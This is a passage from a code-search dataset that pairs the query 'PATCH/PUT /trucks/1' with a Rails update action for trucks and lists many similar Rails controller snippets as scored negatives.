"def set_truck\n @truck = Truck.find(params[:id])\n end",
"def set_truck\n @truck = Truck.find(params[:id])\n end",
"def set_truck\n @truck = Truck.find(params[:id])\n end",
"def set_truck\n @truck = Truck.find(params[:id])\n end",
"def set_truck\n @truck = Truck.find(params[:id])\n end",
"def create\n @tottle = Tottle.new(tottle_params)\n\n respond_to do |format|\n if @tottle.save\n format.html { redirect_to @tottle, notice: 'Tottle was successfully created.' }\n format.json { render :show, status: :created, location: @tottle }\n else\n format.html { render :new }\n format.json { render json: @tottle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fleet = Fleet.find params[:fleet_id]\n @vehicle = @fleet.vehicles.find params[:vehicle_id]\n @tire = @vehicle.tires.new(params[:tire])\n \n respond_to do |format|\n if @tire.save\n format.html { redirect_to(fleet_vehicle_tires_path(@fleet, @vehicle), :notice => 'Tire records was successfully created.') }\n format.xml { render :xml => @tire, :status => :created, :location => @tire }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tire.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n post_params = {\n name: params[:name].downcase,\n units: params[:units] || 0\n }\n render json: Ingredient.create!(post_params), status: :created\n end",
"def create\n respond_to do |format|\n if @taxi_booking.save\n store_trip_in_session(@taxi_booking.trip_id)\n\n format.html { redirect_to @taxi_booking, notice: 'Taxi booking was successfully created.' }\n format.json { render json: @taxi_booking, status: :created, location: @taxi_booking }\n else\n format.html { render action: \"new\" }\n format.json { render json: @taxi_booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tour_service = TourService.new(tour_service_params)\n\n respond_to do |format|\n if @tour_service.save\n\n format.html { redirect_to action:\"index\" }\n format.json { render :show, status: :created, location: @tour_service }\n else\n format.html { render :new }\n format.json { render json: @tour_service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @duck = Duck.new(params[:duck])\n\n respond_to do |format|\n if @duck.save\n format.html { redirect_to @duck, notice: 'Duck was successfully created.' }\n format.json { render json: @duck, status: :created, location: @duck }\n else\n format.html { render action: \"new\" }\n format.json { render json: @duck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trip = current_user.trips.build(params[:trip])\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip, notice: 'Trip was successfully created.' }\n format.json { render json: @trip, status: :created, location: @trip }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trip_route = TripRoute.new(trip_route_params)\n\n respond_to do |format|\n if @trip_route.save\n format.html { redirect_to @trip_route, notice: 'Trip route was successfully created.' }\n format.json { render :show, status: :created, location: @trip_route }\n else\n format.html { render :new }\n format.json { render json: @trip_route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @food_trucks = FoodTruck.all\n end",
"def create\n @tollstation = Tollstation.new(tollstation_params)\n\n respond_to do |format|\n if @tollstation.save\n format.html { redirect_to @tollstation, notice: 'Tollstation was successfully created.' }\n format.json { render :show, status: :created, location: @tollstation }\n else\n format.html { render :new }\n format.json { render json: @tollstation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @flight = Flight.new(params[:flight])\n\n respond_to do |format|\n if @flight.save\n format.html { redirect_to @flight, notice: 'Flight was successfully created.' }\n format.json { render json: @flight, status: :created, location: @flight }\n else\n format.html { render action: \"new\" }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:traceroute].each do |tr|\n Traceroute.create(:server => tr[:server], :local_ip => tr[:local_ip], :stdout => tr[:stdout], :stderr => tr[:stderr], :exit_status => tr[:exit_status], :timestamp => tr[:timestamp])\n end\n\n\n\n #puts \"hello #{params}\"\n #@hello = params\n #@hello.map { |k,v| puts \"#{k} is #{v}\" }\n #traceroute_params.each do |v|\n # traceroute = Traceroute.create(v)\n #end\n\n respond_to do |format|\n format.all { render :nothing => true, :status => 200 }\n end\n #@traceroute = Traceroute.new(params)\n\n #respond_to do |format|\n # if @traceroute.save\n # format.html { redirect_to @traceroute, notice: 'Traceroute was successfully created.' }\n # format.json { render action: 'show', status: :created, location: @traceroute }\n # else\n # format.html { render action: 'new' }\n # format.json { render json: @traceroute.errors, status: :unprocessable_entity }\n # end\n #end\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n @reservation.user = current_user\n @reservation.flight = flight\n\n if @reservation.save\n render json: @reservation\n else\n render json: @reservation.errors, status: :unprocessable_entity\n end\n end",
"def create\n items = params[:items]\n filtered_items = []\n items.each do |item|\n item[:quantity].times do |order|\n filtered_items << {\"apiKey\" => item[:item_api], \"customizationChoices\" => [], \"comments\" => item[:instruction]}\n end\n end\n token = ENV[\"REACT_APP_EAT_STREET_TOKEN\"]\n uri = URI.parse(\"https://api.eatstreet.com/publicapi/v1/send-order\")\n request = Net::HTTP::Post.new(uri)\n request.content_type = \"application/json\"\n request[\"X-Access-Token\"] = token\n request.body = JSON.dump({\n \"restaurantApiKey\" => processing_params[:restaurant_api_key],\n \"items\" => filtered_items,\n \"method\" => \"delivery\",\n \"payment\" => \"cash\",\n \"test\" => false,\n \"comments\" => processing_params[:comments],\n \"card\" => {\n \"apiKey\" => nil\n },\n \"address\" => {\n \"apiKey\" => nil,\n \"streetAddress\" => processing_params[:address],\n \"latitude\" => processing_params[:latitude],\n \"longitude\" => processing_params[:longitude]\n },\n \"recipient\" => {\n \"apiKey\" => nil,\n \"firstName\" => processing_params[:username],\n \"lastName\" => processing_params[:username],\n \"phone\" => processing_params[:phone],\n 'email' => processing_params[:email]\n }\n })\n\n req_options = {\n use_ssl: uri.scheme == \"https\",\n }\n\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n\n message = ''\n if response.code == 200\n message = {error: false, details: 'You Order Has Been Processed'}\n items.each do |item|\n order = Order.find(item[:id])\n order.ordered = true\n end\n\n else\n message = response.body\n end\n\n render json: message\n end",
"def create\n @origin = Origin.new(\n :latitude => trip_params[:origin][:latitude],\n :longitude => trip_params[:origin][:longitude]\n )\n @origin.save\n @destination = Destination.new(:address => trip_params[:destination][:address].concat(\" New York City\"))\n @destination.save\n @trip = Trip.new(:origin_id => @origin.id, :destination_id => @destination.id)\n @trip.save \n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip }\n format.json { render action: 'show', status: :created, location: @trip }\n else\n format.html { render action: 'new' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @dischargue = Dischargue.new(dischargue_params)\n @trucks = Truck.all.select { | t | t.liters_load > 0 }\n @stations = Station.all.select { | s | (s.max_liters - s.loaded_liters) > 0 }\n\n @dischargue.load_id = Truck.find(params[:truck_id]).available_load.id\n\n respond_to do |format|\n if @dischargue.save\n format.html { redirect_to @dischargue, notice: 'Dischargue was successfully created.' }\n format.json { render :show, status: :created, location: @dischargue }\n else\n format.html { render :new }\n format.json { render json: @dischargue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n attrs = whitelist(params, :create).merge customer: current_user.becomes(Users::Customer)\n dattrs = attrs.delete(:destinations_attributes)\n\n @travel = Travels::Travel.new(attrs)\n\n dattrs.each_key do |key|\n dattr = dattrs[key]\n iattrs = dattr.delete(:items_attributes)\n\n dest = Travels::Places::Destination.new(dattr)\n\n iattrs.each_key do |key|\n @travel.items.build(iattrs[key]).destination = dest\n end if iattrs\n end\n\n # @travel.customer = current_user.becomes(Users::Customer)\n\n respond_to do |format|\n if @travel.save\n format.html { redirect_to status_travel_path(@travel), notice: \"Gracefully created the travel!\" }\n format.json { render json: @travel, status: :created, location: @travel }\n else\n format.html { redirect_to new_travel_path, alert: \"Failed to create the travel! Errors: #{@travel.errors.full_messages}\" }\n format.json { render json: @travel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @workshop = Workshop.new(workshop_params)\n puts \"====================================\"\n puts params['trainers']\n puts \"====================================\"\n trainers = params['trainers'].map do |id|\n Trainer.find(id)\n end\n @workshop.trainers << trainers\n\n\n respond_to do |format|\n if @workshop.save\n format.html { redirect_to @workshop, notice: 'Workshop was successfully created.' }\n format.json { render :show, status: :created, location: @workshop }\n else\n format.html { render :new }\n format.json { render json: @workshop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trip = current_user.trips.build(trip_params)\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip, notice: 'Trip was successfully created.' }\n format.json { render action: 'show', status: :created, location: @trip }\n else\n format.html { render action: 'new' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # @route = Route.new(params[:route])\n \n waypoints = params[:waypoints]\n creator = params[:creator]\n updated_at = params[:updated_at]\n name = params[:name]\n\n @route = Route.new(waypoints: waypoints, creator: creator, updated_at: updated_at, name: name)\n \n @route.save\n\n render json: @route\n\n # @vote_creator = VoteCreator.new(vote_params)\n # @vote = @vote_creator.vote\n # if @vote_creator.save\n # render json: @vote, status: :created, location: @vote\n # else\n # render json: @vote.errors, status: :unprocessable_entity\n # end\n end",
"def create\n @trip_driver = TripDriver.new(trip_driver_params)\n\n respond_to do |format|\n if @trip_driver.save\n format.html { redirect_to @trip_driver, notice: 'Trip driver was successfully created.' }\n format.json { render json: @trip_driver, status: :created, location: @trip_driver }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trip_driver.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @truck_group = TruckGroup.new(params[:truck_group])\r\n\r\n respond_to do |format|\r\n if @truck_group.save\r\n format.html { redirect_to @truck_group, notice: '车队创建成功' }\r\n format.json { render json: @truck_group, status: :created, location: @truck_group }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @truck_group.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n venture = Venture.new(venture_params)\n\n if venture.save \n render json: {venture: venture}, status: :created\n else\n render json: {status: 'Error', message: 'Venture not saved', data: venture.errors}, status: :unprocessable_entity\n end\n end",
"def trucker_params\n params.require(:trucker).permit(:name, :phone, :vehicle => [:type, :body_type])\n end",
"def create_flight_creation(body)\r\n # Prepare query url.\r\n _path_url = '/v1/airline/flights'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'content-type' => 'application/json; charset=utf-8'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n headers: _headers,\r\n parameters: body.to_json\r\n )\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n Response.from_hash(decoded)\r\n end",
"def create\n @trump = Trump.new(trump_params)\n\n respond_to do |format|\n if @trump.save\n format.html { redirect_to @trump, notice: 'Trump was successfully created.' }\n format.json { render :show, status: :created, location: @trump }\n else\n format.html { render :new }\n format.json { render json: @trump.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n trip = Trip.new(trip_params)\n trip.rand_code = generate_code(6)\n\n # checks to see if photo was sent, and assigns default if none sent\n if params[:photo_base]\n trip.photo = params[:photo_base]\n else\n trip.photo = default_photo\n end\n\n trip.save!\n\n # creates a UserTrip object as a reference between Users and Trips\n tripid = Trip.last.id\n userid = params[:user_id]\n UserTrip.create(user_id: userid, trip_id: tripid)\n render json: trip\n end",
"def create\n @therapist = Therapist.new(params[:therapist])\n\n respond_to do |format|\n if @therapist.save\n format.html { redirect_to @therapist, notice: 'Therapist was successfully created.' }\n format.json { render json: @therapist, status: :created, location: @therapist }\n else\n format.html { render action: \"new\" }\n format.json { render json: @therapist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trip = Trip.new({\"name\" => \"New Trip\",\n \"beginning\" => Time.now.strftime(\"%d/%m/%Y\"),\n \"duration\" => \"0\",\n \"user\" => current_user})\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip, notice: 'Trip was successfully created.' }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { render home_path }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trip_type = TripType.new(trip_type_params)\n\n respond_to do |format|\n if @trip_type.save\n format.html { redirect_to @trip_type, notice: 'Trip type was successfully created.' }\n format.json { render :show, status: :created, location: @trip_type }\n else\n format.html { render :new }\n format.json { render json: @trip_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @treks = Trek.all\n @title = \"Trekking routes and destinations\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @treks }\n end\n end",
"def create\n @stop = @trip.stops.new(stop_params)\n\n respond_to do |format|\n if @stop.save\n format.html { redirect_to trip_path(@trip), notice: 'Stop was successfully created.' }\n format.json { render :show, status: :created, location: @stop }\n else\n format.html { render :new }\n format.json { render json: @stop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tour = Tour.new(tour_params)\n\n respond_to do |format|\n if @tour.save\n\n format.html { redirect_to @tour, notice: 'Tour was successfully created.' }\n format.json { render :show, status: :created, location: @tour }\n else\n format.html { render :new }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tour_booking = TourBooking.new(tour_booking_params)\n\n respond_to do |format|\n if @tour_booking.save\n format.html { redirect_to @tour_booking, notice: 'Tour booking was successfully created.' }\n format.json { render :show, status: :created, location: @tour_booking }\n else\n format.html { render :new }\n format.json { render json: @tour_booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trip = Trip.new(trip_params)\n @trip.session_id = session.id\n @trip.user_id = current_user.id\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip.parent || @trip, notice: 'Trip was successfully created.', change: 'list' }\n format.json { render action: 'show', status: :created, location: @trip, day: 1 }\n else\n format.html { render action: 'new' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def my\n @trips = Trip.completed.\n includes(:driver, {trip_request: :rider}).\n joins(trip_request: :rider).\n where(users: {id: params[:rider_id]})\n\n options = {}\n # JSON API: https://jsonapi.org/format/#fetching-sparse-fieldsets\n # fast_jsonapi: https://github.com/Netflix/fast_jsonapi#sparse-fieldsets\n #\n # convert input params to options arguments\n if params[:fields]\n trip_params = params[:fields].permit(:trips).to_h.\n inject({}) { |h, (k,v)| h[k.singularize.to_sym] = v.split(\",\").map(&:to_sym); h }\n options.merge!(fields: trip_params)\n end\n\n render json: TripSerializer.new(@trips, options).serializable_hash\n end",
"def create\n @trip_schedule = TripSchedule.new(trip_schedule_params)\n\n respond_to do |format|\n if @trip_schedule.save\n format.html { redirect_to @trip_schedule, notice: 'Trip schedule was successfully created.' }\n format.json { render :show, status: :created, location: @trip_schedule }\n else\n format.html { render :new }\n format.json { render json: @trip_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n # inflate a trip proxy object from the form params\n @trip_proxy = create_trip_proxy_from_form_params\n \n if @trip_proxy.valid?\n @trip = create_trip(@trip_proxy)\n end\n\n # Create makers for the map control\n @markers = create_markers(@trip_proxy)\n\n respond_to do |format|\n if @trip\n if @trip.save\n @trip.reload\n @planned_trip = @trip.planned_trips.first\n @planned_trip.create_itineraries\n format.html { redirect_to user_planned_trip_path(@traveler, @planned_trip) }\n format.json { render json: @planned_trip, status: :created, location: @planned_trip }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trip_proxy.errors, status: :unprocessable_entity }\n end\n else\n format.html { render action: \"new\", flash[:alert] => t(:correct_errors_to_create_a_trip) }\n end\n end\n end",
"def create\n @vehicle = Vehicle.new(vehicle_params)\n\n respond_to do |format|\n if @vehicle.save\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle }\n else\n format.html { render :new }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vehicle = Vehicle.new(vehicle_params)\n\n respond_to do |format|\n if @vehicle.save\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle }\n else\n format.html { render :new }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vehicle = Vehicle.new(vehicle_params)\n\n respond_to do |format|\n if @vehicle.save\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle }\n else\n format.html { render :new }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7036486",
"0.68568367",
"0.67592937",
"0.6654779",
"0.6436277",
"0.6388216",
"0.6157088",
"0.6076288",
"0.6062036",
"0.60233504",
"0.60189545",
"0.5997903",
"0.5906992",
"0.5889992",
"0.58591104",
"0.58503336",
"0.5846625",
"0.58242595",
"0.5821811",
"0.5820983",
"0.5816239",
"0.580664",
"0.58018506",
"0.57981527",
"0.57951003",
"0.5790095",
"0.57847995",
"0.57847995",
"0.5769722",
"0.5768239",
"0.5750363",
"0.57408327",
"0.572725",
"0.5726705",
"0.5717264",
"0.57170117",
"0.5701244",
"0.56891847",
"0.5687387",
"0.5686285",
"0.5673389",
"0.56723785",
"0.5671538",
"0.566957",
"0.5666316",
"0.56103224",
"0.55586296",
"0.55575484",
"0.55547744",
"0.5538659",
"0.5533401",
"0.55258584",
"0.552307",
"0.5521964",
"0.55212337",
"0.5518555",
"0.5518555",
"0.5518555",
"0.5518555",
"0.5518555",
"0.5518507",
"0.5515922",
"0.5509946",
"0.5508906",
"0.5507551",
"0.5501993",
"0.5501758",
"0.5500819",
"0.5496863",
"0.549293",
"0.54870373",
"0.54829675",
"0.5474538",
"0.547407",
"0.54730505",
"0.54721373",
"0.5470355",
"0.5465066",
"0.5463756",
"0.545663",
"0.5451159",
"0.54456335",
"0.5433706",
"0.54328007",
"0.5432319",
"0.54286456",
"0.5423789",
"0.5422723",
"0.5420864",
"0.5420404",
"0.5418438",
"0.5416422",
"0.54162884",
"0.5415685",
"0.5415432",
"0.5414237",
"0.54133767",
"0.5409019",
"0.54029715",
"0.54029715",
"0.54029715"
] |
0.0
|
-1
|
PATCH/PUT /trucks/1 PATCH/PUT /trucks/1.json
|
def update
respond_to do |format|
if @truck.update(truck_params)
format.html { redirect_to @truck, notice: 'Truck was successfully updated.' }
format.json { render :show, status: :ok, location: @truck }
else
format.html { render :edit }
format.json { render json: @truck.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @trucking = Trucking.find(params[:id])\n\n respond_to do |format|\n if @trucking.update_attributes(params[:trucking])\n format.html { redirect_to @trucking, notice: 'Trucking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trucking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @opttruck.update(opttruck_params)\n format.html { redirect_to @opttruck, notice: 'Opttruck was successfully updated.' }\n format.json { render :show, status: :ok, location: @opttruck }\n else\n format.html { render :edit }\n format.json { render json: @opttruck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @food_truck.update(food_truck_params)\n format.html { redirect_to @food_truck, notice: 'Food truck was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @food_truck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @marcas = @truck.get_marcas() \n @modelos = @truck.get_modelos()\n @tipo_unidad = @truck.get_tipos()\n @config = @truck.get_config()\n @clase = @truck.get_clase()\n @color = @truck.get_color()\n\n\n respond_to do |format|\n if @truck.update(truck_params)\n format.html { redirect_to @truck, notice: 'Truck was successfully updated.' }\n format.json { render :show, status: :ok, location: @truck }\n else\n format.html { render :edit }\n format.json { render json: @truck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @truck = Truck.find(params[:id])\n if @truck.update_attributes(params[:truck])\n flash[:notice] = 'Truck was successfully updated.'\n redirect_to :back\n else\n render :action => \"edit\"\n end\n end",
"def update\n\n \n respond_to do |format|\n if @truck_order.update(truck_order_params)\n @truck_order.truck_truck_orders.where(truck_id: nil).delete_all\n format.html { redirect_to @truck_order, notice: 'Truck order was successfully updated.' }\n format.json { render :show, status: :ok, location: @truck_order }\n else\n format.html { render :edit }\n format.json { render json: @truck_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle.update(vehicle_params)\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle }\n put_request\n else\n format.html { render :edit }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @trip = Trip.find(params[:id])\n\n if @trip.update(trip_params)\n render :json => {:success => true}\n else\n render :json => {:success => false, :errors => [\"Trip update failed.\"]}\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stuck.update(stuck_params)\n format.html { redirect_to @stuck, notice: 'Stuck was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @stuck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n respond_to do |format|\n if @trip.update(trip_params)\n last_clip(@trip, trip_params[:clips_attributes].present?)\n format.html { redirect_to @trip.parent || @trip, notice: 'Trip was successfully updated.', change: \"list\" }\n format.json { head :no_content }\n else\n format.html { redirect_to @trip.parent || @trip }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n p myfoodtruck_foodtruck_params\n respond_to do |format|\n if @myfoodtruck_foodtruck.update(myfoodtruck_foodtruck_params)\n format.html { redirect_to @myfoodtruck_foodtruck, notice: \"Foodtruck was successfully updated.\" }\n format.json { render :show, status: :ok, location: @myfoodtruck_foodtruck }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @myfoodtruck_foodtruck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def put!\n request! :put\n end",
"def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n respond_to do |format|\n if @tottle.update(tottle_params)\n format.html { redirect_to @tottle, notice: 'Tottle was successfully updated.' }\n format.json { render :show, status: :ok, location: @tottle }\n else\n format.html { render :edit }\n format.json { render json: @tottle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @flight = Flight.find(params[:id])\n\n if @flight.update(params[:flight])\n head :no_content\n else\n render json: @flight.errors, status: :unprocessable_entity\n end\n end",
"def update\r\n \r\n @truck = Truck.find(params[:id])\r\n #@stock_truck=StockTruck.find(@truck.stock_truck_id)\r\n # @trucks = update_truck_info_from_params(params) \r\n\r\n respond_to do |format|\r\n if @truck.update_attributes(params[:truck])\r\n flash[:notice] = '货源更新成功.'\r\n format.html { redirect_to :action => \"index\" }\r\n format.xml { head :ok }\r\n else\r\n format.html { redirect_to :action => \"edit\" }\r\n format.xml { render :xml => @trucks.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n authorize @trip, :update?\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to trips_path, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vehicle = Vehicle.find(params[:id])\n\n respond_to do |format|\n if @vehicle.update_attributes(params[:vehicle])\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vehicle = Vehicle.find(params[:id])\n\n respond_to do |format|\n if @vehicle.update_attributes(params[:vehicle])\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @data = @recipe.update(params[:id], recipe_params)\n render json: @data\n end",
"def update\n travel = Travel.find(params[:id])\n if travel.update(travel_params)\n render json: travel, status: 200\n else\n render json: travel.errors, status: 422\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n recipe.update(recipe_params)\n render json: recipe\n end",
"def update\n respond_to do |format|\n if @truck_cash.update(truck_cash_params)\n format.html { redirect_to @truck_cash, notice: 'Truck cash was successfully updated.' }\n format.json { render :show, status: :ok, location: @truck_cash }\n else\n format.html { render :edit }\n format.json { render json: @truck_cash.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @vehicle.update(vehicle_params)\n render json: { status: 'Vehicle was successfully updated', vehicle: @vehicle }, status: :ok\n else\n render json: { errors: @vehicle.errors.full_messages }, status: :bad_request\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n respond_to do |format|\n if @flight.update(flight_params)\n format.html { redirect_to @flight, notice: 'Flight was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @flight.update(flight_params)\n format.html { redirect_to @flight, notice: 'Flight was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
